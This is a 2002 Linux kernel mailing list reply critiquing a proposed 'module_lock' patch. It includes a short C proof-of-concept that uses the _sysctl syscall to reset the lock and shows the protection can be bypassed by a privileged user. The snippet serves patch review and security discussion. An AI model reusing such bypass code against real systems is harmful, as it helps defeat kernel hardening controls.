Messages in this thread | | | Date | Mon, 29 Apr 2002 16:03:18 +0100 | From | Anton Altaparmakov <> | Subject | Re: [PATCH] module locking |
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At 08:30 29/04/02, Rolf Fokkens wrote: >On Monday 29 April 2002 09:23, Thomas 'Dent' Mirlacher wrote: > > the capable call is sthell there, but with the module_lock > > kind or redundant. > >once set module_lock cannot be cleared, not even by root. This differs from >the CAP_SYS_MODULE which can be activated by root, if I'm correct. > >module_lock is only a suggestion, w/o /dev/kmem write locking or even >locking writes on other /dev/.. or doing mounts it won't be full proof.
*sigh*
RTFM man 2 sysctl
With your patch applied AND module_lock set to 1, anyone with sufficient privileges could still do:
#include <linux/unistd.h> #include <linux/types.h> #include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args); #define SIZE(x) sizeof(x)/sizeof(x[0])
int main(void) { int name[] = { CTL_KERN, KERN_MODPROBE }; int hack = 0; struct __sysctl_args args = { name, SIZE(name), 0, 0, &hack, sizeof(hack) };
if (_sysctl(&args)) { perror("sysctl failed"); exit(1); } printf("module_lock has been zeroed! Muahaha!"); return 0; }
Good bye module_lock! /me waves
What was that about not being able to zero it again...?
Best regards,
Anton
-- "I've not lost my mind. It's backed up on tape somewhere." - Unknown -- Anton Altaparmakov <aia21 at cantab.net> (replace at with @) Linux NTFS Maintainer / IRC: #ntfs on irc.openprojects.net WWW: http://linux-ntfs.sf.net/ & http://www-stu.christs.cam.ac.uk/~aia21/
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